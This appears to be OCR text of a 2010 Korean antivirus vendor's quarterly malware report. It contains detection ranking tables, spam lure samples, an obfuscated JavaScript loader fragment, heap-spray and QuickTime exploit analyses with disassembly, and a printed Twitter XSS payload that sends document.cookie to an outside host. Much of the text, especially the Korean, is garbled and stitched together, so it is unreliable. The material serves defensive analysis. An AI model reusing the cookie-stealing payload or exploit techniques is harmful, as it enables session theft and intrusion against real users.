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1 13 JS/lframe 755,422 22.1%
2 13 JS/Exploit 434,784 12.7%
3 12 Textimage/Autorun 409,736 12%
4 11 Win32/Induc 259,111 7.6%
5 New Win—Trojan/Spack3.Gen 162,693 4.8%
6 14 JS/Cve—2010-0806 138,966 4.1%
7 12 Win32/Parite 132,124 3.9%
8 New HTML/IFrame 113,302 3.3%
9 New Win32/Olala.worm.57344 108,406 3.2%
10 New Win—Trojan/WebSide.Gen 103,931 3%
11 New Win—Trojan/Winsoft.Gen 102,233 3%
12 New Win—Trojan/Overtls2.Gen 100,037 2.9%
13 12 Win32/Conficker worm.Gen 87,310 26%
14 New JS/Obfuscated 81,382 2.4%
15 12 Win—Trojan/Securisk 79,166 23%
16 New HTML/Agent 72,755 21%
17 110 Win—Trojan/Spack.Gen 71674 2.1%
18 |6 Win32/VirutB 70,251 2.1%
19 New JS/Downloader 68,998 2%
20 |6 Win32/Virut 66,137 1.9%
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1 11 Win—Trojan/Onlinegamehack 757,919 12.5%
2 110 JS/lframe 755,422 12.4%
3 |2 Win—Trojan/Agent 685,258 11.3%
4 11 Win—Trojan/Downloader 561,487 9.3%
5 18 JS/Exploit 434,784 7.2%
6 11 Textimage/Autorun 409,907 6.8%
7 1 Win32/Autorun.worm 260,968 4.3%
8 13 Win32/Induc 259,461 4.3%
9 = Win32/Conficker 256,714 4.2%
10 - Win32/Virut 252 367 4.2%
11 |7 Win—Trojan/Overtls 182,773 3%
12 New Win—Trojan/Spack3 162,593 2.7%
13 11 Dropper/Malware 159,605 2.6%
14 13 Win32/Kido 145,007 2.4%
15 New JS/Cve—2010-0806 138,966 2.3%
16 New Win—Adware/KorAdware 137,258 2.3%
17 11 Dropper/OnlineGameHack 134,072 2.2%
18 [l Win32/Parite 133,420 2.2%
19 New Win—Trojan/Adload 128,837 21%
20 New HTML/lframe 113,302 1.9%
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1 Win32/Korlab.worm.237568 50,335 12.4 %
2 Win—Trojan/Downloader. 73728 FP 47,260 1.7 %
3 Win—Trojan/Patched.BQ 44,831 1.1 %
4 Win—Trojan/Agent. 49152 BSG 38,599 95 %
5 Win—Adware/KorAdware. 259072 B 27,614 6.8 %
6 Win—Trojan/Downloader. 1553408 23,296 57 %
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8 Win—Trojan/Agent.366768 21,233 52 %
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1. TweetDeck will work until tomorrow, udate now! http://alturl.com/xxx
2. Download TweetDeck udate ASAP! http://alturl.com/xxx

3. Update TweetDeck! http: //alturl.com/xxx

4. Hurry up for tweetdeck update! http://alturl.com/xxx

5. Sorry for offtopic, but it is a critical TweetDeck update. It won’t

work tomorrow http://alturl.com/xxx
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VAL
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idmu, =1d5 = "gomcrtep \':/:iveh-n
059w, yvsg = 51dS. length:
eval (unsacape [("S66UNT6ICiT6Fn bYT6T7%2
for (osSw = 0; o03%w < mOga.length: osS
idmu = mOga.charit {oadw)
1pr5 = 31d5. indexOf [ idmu) ;
if (lpr5 » =1} {
lpr§ -= (oa%w + 1) % wyvag:
if (1lpr5 < 0) |
1prs += ywag;
¥
bw?7? (3ldS.charic (lprs)):
} oelase |
w77 (idmu) &
i
}
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Subject: Here you have or Just For you
Body:

Hello:

This is The Document | told you aboutyou can find it Here.

htto/ferew shiarodotomentsoemMhrary/TDF Tocument21.025542010.0df
Please check it and reply as soon as possible.

Cheers,

ar
Hello:

This is The Free Dowload Sex Movies,you can find it Here.
httpe/feraw ~Rasemovies.. mflibrary/SEXY 22025542010 wmy
Enjoy Your Time.
Cheers.

[(231-9] 22| 0lH SEHH

oliet AHFEO| IE CHE HAH2 20104 8E X0 ClS1t 22 XIHES
2 Win32/Autorun.worm.44032.G 211 &|7|= SIICH SHE AMHTFE

S2 TEHME 2 4 /50| USB HiZal ASiD 22 0|54 CA
S0 RIS MISICE MY 3 22 AT T4of TR
2 Musted) S5) =S BCiof T30 HUAHOR Win32/Swisyn.

worm.290816S AAISIHCL

CREATE
MODIFY

cWwindowsWesrss exe
ciWwindowsWesrss, exe
[21-9] oiZal70|M FSatH

Win32/Autorun.worm.44032.G 2

:

svchostexe 2 THAHS MASH

M
T O BF e AAH DUHSD SUoHKITH 1 fIX|l= Fat &
E2 AAH Z (YEtMOoZ CiiwwindowsWsystem32)7} OfL|CH
BiMo2 ofdTFC= ALK SRS FHD =R A A|AR o}
UAHOI ZXE JHEStHLE EO IXIE &0l E27t et shE 24y
IEJH O SAE Helot

0|F AETET} of= AXQl B2 EF SAE HEEE ms
CHRZC SiCt siY OUES 25 371 AZEQ0Z ¢ H2t2K, 2
ERS2 HUHSE Yotz 2O Mo|Ct £t siE AMAE= LY
SXOE JIX|1 U= EXIE T} H|wsto] QHE| HiO|2{ARt 22 Hot &

2| MHIAS ZH2 SF517|= Sttt

CIA| 012 ARP Spoofing 2T E

20074, 2008 = Lijofl CH TlsHE URAE! ARP Spoofing & €27 |
YA ETH 98 LU mGHE F11 QUCk OfHoll= o1ZSl0] LT & =

2t2A 22t FoFHS SoliAM 2SO0l O|R0{TIC), ot 2211 H|glel A
t

o rr

e

o Subnetwark &
1 System

SQL Injection
oL ARP SpUtDﬁI‘l_g_'_T 2

Attacks

I

Vulnerable -
| WEB Site Visite
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Working GreenpoisOn Jailbreak with shATter
exploit! Official release 4.1 Jailbreak!
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Download GreenpoisOn:
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MS10-061 Vulnerability in Print Spooler Service

= . *
Could Allow Remote Code Execution

21z MS10-062 Vulnerability in MPEG—4 Codec o
Could Allow Remote Code Execution

2z MS10-063 Vulnerability in Unicode Scripts Processor o
Could Allow Remote Code Execution

sz MS10-064 Vulnerability in Microsoft Outlook o
Could Allow Remote Code Execution

=9 MS10-065 Vulnerabilities in Microsoft Internet Information Services (IIS)
Could Allow Remote Code Execution
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Heap_spray(23.E) # UE(Font Object)
o4 Flash
e SWFXOR) SOUIASE Font T2
(SWF)

SWHR(F|2EE ghad) @ BE{Heap-Spray AU~ ED

(22 2-3] &Y Flash T Fx| 2= PE( &30 T4

] [212] 2-6] Ot FI2K POF TH B1A| 7
o4 Flash T Hx| 71X 5

M

TS PRS2 MEE g5} 2t

o PDF T2 Ch4-0] SUSH Font THUS LR 7|2 o, o]
- Action Seript -

42 getioal : Font & £3 Font Q| RLEMEZ SHX[SHH Truetype font THA(tt)
&4 pushint JIEFE0180 A Ox1d141414
4% calipropvoid writelnt (1) 2 H2 A o
“ S o8 47} ict,
50 getiocal 3
L ETEL.
4 2425303296 Vs
6 callpropuoid writelnt (1) /FontName /CookieCutter
69 getiocal 1 /SremwV 107 0
71 pushdouble 225393296 A Ox90909050 7
73 calpropvoid writelnt (2} ,Hsscem:. 795 0
7&  pushsiring VeledDe0eb 1055645633, Tz b bS5 & TS JE3E2” /Flags 4
N
(22 2-4] 2=t Exfi5te Action Script /pescent 0.

/Italickngle 0
/MissingWideh 500,
/FontBBox [46 0 720 799] J

0| &FEE= 2N Flash7t SXIGHHM Heap HIZ2 2|0 MEStD F A /Type /FoncDescriptor )
_ /CapHeight 799
2 0|83l 2F=E A5t ECk. >
endobi )
97 0 b3

Euay FICIEIFD ] <<,
Flashl0q.0FDGE450 *
ESL /Filter /FlateDecode ]

Ex /Length 39748

3‘9" /Lengthl 65532

ECK, FRFFEFFD >

EAX, DMORD PTR [ECX] screem.,)

B0, DWORD PTR [EAXes0] xBE?  xTE? ol H 0 H4 [ 43 208,192 & Oaf
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[32& 2-5] Flash10i.ocx0lM HEE §|X|Z2 MEsl= B8 . )
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Name HEE Oidsh= 2HFH0IAM EHIF0| Ldsict 2H7F ==

BOIZ F12= ChSah 2t

o
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| Tag : “SING” | Checksum | Offset | Length |

Adobe Acrobat Reader 0—Day F|2F&(CVE—2010—-2883)

Z|Z S0 PDF £t F|FE0| X LSt n QIot O FAFEE ©
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A1 A oA% A oAt a1 wa a1 a1 oan AT AT A1 ARARAARAAAARAARRN

(a2l 2-8] SING Table & StackOverflow

1. Get the name of the next property when iterating over an object
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Apple QuickTime M|ZH|0| F|oFx

0| FHEL2 Apple QuickTimeO|A EHM5H= 2X|2 QTPlugin.ocxIt
o] HXIZ0 AS B A7t LHITL 22 iPhone ALY B712
iTunes AX| Alofl QuickTimez &0| MX| == Z<7F U0 F2Ho| Ct

2 Feko| QACt. FHS AHEH QuickTime Object A4AA|0f] PARAM

OF "7l Marshaled_pUnk H4E XZI51H EX CALLY| SES

—_
St A O]
Hge 4~ Uk
X|OFX HIME|= S22 =27} zh
Fotdo| Zd=l= s&2 T2t 2Lk
026B2C2ZE 57 PUSH  EDI = “219024654"
02682C2F  E8 DCEEFFFF CALL  QTPlugin02681310 ** FAGIo T WEHE 325 EAX = 0DOEODOE
02882034 g3CA e ADD ESP, &
02682C37  GDBE BEL30OOD LEA  ECX, DWORD PTR [ESI+1368]
02682C30 51 PUSH  ECX
02682038 62 TOFCEADZ PUSH  QTPlugin 026AFCT0
2682043 50 PUSH  EAX
02682044 FFLS OOD36A02 CALL  DWORD PTR [<Eiole32d ) | ale32.0
= a=3 [ =]
[32 2-9] Value Z40| HexZtQ 2 HEtE|0] ZfS L= 22

_Marshaled_pUnk HE Sof MEE 22 dARgeE HEE N

o

e

TEOBDEZE 53 PUSH  EBX ASCH "_Marshaled_pUnk”
TE9BDBZF 8045 A4 LEA  EAX DWORD PTR [EBP-5C]

76980832 50 FUSH  EAX

TEGBD233 56 PUSH  ESI ODOEODOE

769EDE34 B2 SDOMFEFF  CALL  ole32.7629DCD6

TESUDCEE  8B45 08 MOV EAX. DWORD PTR [EBP+8]
T699DCFL 57 PUSH EDL
T699DCF2 50 PUSH EAX
TE3UDCF3 8045 EB MOV DWORD PTR [EBP-18], EAX
7659DCF6 897D E4 MOV CWORD PTR [EBP-1C]. ECT
7659DCFS  ES 8DFFFFFF CALL  ole32.7699DC88
7620DCEE  BEFF MOV EDIL EDI
Tee80CBD S5 PUSH EBP
76550C8E  8BEC MOV EBP, ESP
T699DCO0  2B45 02 MOV EAX, DWORD FTR [EBP+8]
7699DC93  2E0E MOV ECX, DWORD PTR [EAX] **** ODOEODOE
Tee50CS5  BDSS 08 LEA  EDX. DWORD PTR [EBP+8]
76990C98 52 PUSH  EDX

[12 2-10] CALL 3E HY

0] SARAS OLE32 B4-S2 7AIPM, ZEXOR Value = [EAX] &
of Ifa CALL 20| =T 0| Saf tolxel Asto| 7Hs5hi| &
ct,

AIO|E Case Study: ARP SpoofingZt Onlinegamehack2| Zgt

2ot
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12
0x
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=
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flet =
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@ 2Z PCI} £[2F5t Internet ExplorerS AF23S
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to{ yahoo.js7t &UE

® F/2f5t Internet Explorer0fl 2lsiA &5 ALOIEO| HYUZUH ya—
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ol
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w
o
x
[0}

@ ad.htm, news.html2 Internet Explorer?| FotAMS 0|2
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® ZZ PCO|| CIR2ZESl sexeZ| AE|H smxdpnp.diE s &
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O|Holl= AYZE HHS oM ASE FAH2 of2tet 2o,

» MS10-035: hitp://www.microsoft.com/korea/technet/security/
bulletin/MS10—035.mspx

BioF ZUE PCT} IEQ WOt IHIOIEDH 2 /0] QUACIR? Ol ARP

=

SpoofingZt ZAgtet Onlinegamehack SA| I[EQ] HOt F 7

|oFRIS AIRE
o= O M
0t HH|0|E3H  £/0f UK 71 POt HIEYT

off Z&EE PC7t
D& OFMgHE Zdo|ct TS Hot HO0|ETL 7HE 7|12XQ1 Z40[HAM
T BR0ICh= A2 CHA| 8t THE| shE= Atlo|Ct,
3. ¥ 2ot 53
 Hot £
Y otMAE Hok QoF
— — ONTE W e
0|z, otM=7
ofMTC W 7% 86,167 85167201, &g
otMTAC 25 857 E Q%2 857710|H,
otdIET7 U HAE =gl 693 OINTC T} WAE &
otMAC BAHE URL 2,637 oo 4 of
3 E AOE S e miole 6937400, 2
g7 YAE URL2
2,637 Z10|ct 20105 9L 2010 8Lt ANTFC W 742 of
MTE R, ANTCIL UAS SH9l, AHMTE YA URL 2 Cha
FAENS s

105,000

100,000

95,000

90,000 \
\‘85’1 67
85,000 %

80,000

75,000

2010. 07 2010. 09

20101 9% OHMTC w7 Zi4E M)

Q185,167710]|Ct,

| 94,0457101| Hlsll 91% +=&

SR os
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800
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750 (
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2010 9 AL RA2 TEHO| 880240fl Hls 97% &2 857
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- /
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720 /
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640

2010. 07 2010. 08 2010. 09
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(23 3-3] 2¥ A =Tr eHE =0l
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Z=01693740|Ct
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g8 ETS HIg

Win32/VIRUT 23,852 28 9
ADWARE 22,229 26.1 %
TROJAN 17,995 211 %
JOKE 2,580 39
DROPPER 2,229 26 %
DOWNLOADER 405 0.5 %
APPCARE 386 0.5 %
SPYWARE 86 0.1 %
ETC 15,405 18.1 %

85,167 100 %

25,000

23,652

15.000

10.000

Dowrloacer  Win32/Vit  Dropper
[O3 3-5] ANFE=

Appcae Spyware Jole ETC

20| A Win32/VIRUTRE 7t 23,85271 TH|2| 28%

AX[SIH M, ADWARER 7t 22,2297122 FH|Q| 26.1%=

=9 5% ofyacY a= HiE
1 15 Win32/Virut 15,061 245 %
2 11 Win—Adware/Shorteut InlivePlayerActiveX.234 12,921 21.1%
3 Win32/Induc 6,843 1.2 %
4 New Win—Trojan/Agent. 65024 HY 5614 92 %
5 New HTML/Exploit-cve 4,071 6.6 %
6 New Win32/Virut.F 3,931 6.4 %
7 New Win—Adware/Shortcut. Tickethom, 36864 3,661 6 %
8 |1 Win—Trojan/Spack.Gen 3,477 57 %
9 |1 Win32/Virut.B 3,217 52 %
10 11 Win—Joke/Stressreducer, 1286147 2,562 42 %
61,358 100 %

[% 3-3] AMF = HIZ Top 10

9gloll= mo|A OO|AM|O|Amyspacent 22 SNSQ| %

Xl 7152 o8l AHTEE FEAI7|= Kooface HEO| LAE|ACE
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] bt | - 7
oo HIDIR ARILICHL S2ER 0 2. R W S2 "
213
0L
Yooo
(12 3-6] 2y F=E HOfsls ZX| 715
ZX|7IS0IN &M URLE 22 ER0l= f5E(youtube)S2| AH|A
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! V3(2010.09.27.04)

| Win32/Koobface, worm, 58368, F
| Win-Trojan/Tdss. 102912.8
Win32/Koobface warm. 113808
! Win-Trojan/Koobface. 253952

| Win-Trojan/Koobface, 28544
Win32/Koobface. worm. 54512, G

! V3(2010.09.27.03)
| Win32/Koobface. worm, 153600.8

Trojan/Win32. Agent
i Worm/Win32 Koobface
i Backdoor/Win32 Agent

s
2. EX7t 228 ZX|2| URL2 ZHi H&SHK| §4=Ch

—
3. Xj410] 0|&3t= MH|AS S| HARES F7|X o= HFSIX| B=Ct.

EQIE] 2 AOIEQ| S2A AOIE ASYE FobY 48

08l 78 235 e Eot AN fF AN HEYTA AMH|A(Social
Network Service) € AIO|EQ!I EQ|E(twitter)o|A] XSS(Cross—Site

Scripting) FAUHS LAEIUSS HACL

00000000 | 5 |window.onload=£fu
Flnetion() {locatio
n.href="
|fx.com/tw/?eooki
i|le='.concat(escap
6% |e (document.cooki
=), "'&token="'

/valu
srlah vo AT ITAVITRY S

00000000 | |77 65 6E €4 6F 77 2E 6F|6E €C 6F &1 64 3D 66 75 |window.onload=£fu

{ | 6E 63 74 €5 6F GE 28 29]7B OAL 6C €F 63 61 74 €% |nction() {.locati
on.href="'//

fjoeseph

2F 7477 6F 6B 69 65| /twitter/?cookie

3D 27 2E 36361 7065|="'.concat (escape

28 ¢4 &F ©F 6F GB €9 €5 | (document .cookie

},"'atoken="

54 4D 4C ZE 6D 61 74 6368 28 2F 76 61 6C 75 €5 [TML.match (/value

[ 3-8] ELIE & AJO|EQ| XSS FAUFS 2A4BTH AFRE AYAL

EIE| 2 AO|EQ] S2A Ao|E ASRE o o4

Of ol wAE ELIE & AO|E0| ZEXSIAT! XSS Fofds AEst

= ATFEE HHETAEE V3 MBZZ0IM=  "US/Twett” 2 TITHSHTE

Ahnlab
V3 Internet Security 80

08 £A1n335 32usRIu| £A QRUY

AhnLab V3 Internet Security 8.0 “
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=9 s oreTCH o+ HlE
1 = Textimage/Autorun 1,156,366 159 %
2 New JS/lframe 825,861 1.3 %
3 18 JS/Exploit 815,745 1.2 %
4 |2 Win32/Induc 757,796 10.4 %
5 = Win32/Parite 353,160 49 %
6 13 JS/Agent 347,039 48 %
7 () Win32/Olala.worm 57344 335,187 46 %
8 - Win32/Conficker worm.Gen 267,368 37 %
9 New JS/Cve—2010-0806 241,091 33 %
10 13 Win32/VirutB 240,667 33%
11 New JS/IFrame 230,773 32 %
12 New HTML/Exploit—cve 212,333 29 %
13 = Win32/Virut 209,493 29 %
14 New Win—Trojan/Securisk 206,424 28 %
15 13 Textimage/Sasan 199,115 27 %
16 New Win—Trojan/Spack.Gen 191,268 26 %
17 - Textimage/Viking 182,453 25 %
18 19 JS/Redir 179,288 25 %
19 New Win-Trojan/Inject. 1588224 166,501 23 %
20 New Win—Trojan/OnlinegameHack8.Gen 163,291 22 %
7,281,219 100 %

[B4-1] 483 E ZHET 3 27| Top 20

20104 37| AM¥TAE S 1= Textimage/Autorun0| 19/ XiX|
5t Qlom, JS/lirament JS/Exploit7t 242t 22|29 391Z2 X}X| SHILCH.

22 Top200]| et AEFEE & 870ICt

Ahnlab

AhnLab V3Net for Windows Server 7.0

29 s orgaED oS Hig
1 = Win—Trojan/Agent 2,433,531 14.4 %
2 - Win—Trojan/Downloader 2,143,188 127 %
& = Win—Trojan/Onlinegamehack 1,658,724 98 %
4 - Textimage/Autorun 1,157,015 6.9 %
5 16 Win—Trojan/Overtls 993,675 59 %
6 |1 Win32/Autorun,worm 861,872 51 %
7 New JS/lframe 825,861 49 %
8 New JS/Exploit 815,745 48 %
9 13 Win32/Virut 795,043 47 %
10 |2 Win32/Conficker 770,927 46 %
11 |4 Win32/Induc 758,459 45 %
12 13 Dropper/Malware 592,372 35 %
13 14 Win-Trojan/OnlineGameHack 501,675 3%
14 - Win32/Kido 430,491 25 %
15 New Win—-Adware/WebSide 415239 25 %
16 11 Win32/Parite 357,635 21 %
17 |5 Win—Trojan/Bho 347,240 21 %
18 |18 JS/Agent 347,047 21 %
19 16 Win-Trojan/Adload 343,011 2%
20 New Win32/Olala 337,180 2 %

16,885,930 100 %

2= 327] Top 20

2010 3&7| AL8At LeHE Fgt dMHIESO| HEIHES &
M Win—Trojan/Agent7t & H11 714 2,433,5317122 HH|Q| 14.4%
E RIX[sto] 19152 AHX[GI¥CE. 1 FIE Win—Trojan/Downloader0|
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U2 9.8%E XIX[ot0] 29{2t 3RIE AHX| SIULH.

feil RAIE= 20103 327| S Do 2 2E| ZiH0| E1E AdFE
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Script
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MAIA 712 OHdISH 0l QHErHTA 11



OtMIALE QYHEZ HAH T4 HIES TROJANZ I} 46%E 71 42
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19 Win—Adware/Nieguideplus.37428 47,382 0.7 %
20 Win—Trojan/Downloader. 73728 FP 47,260 07 %
1,209,755 17.2 %
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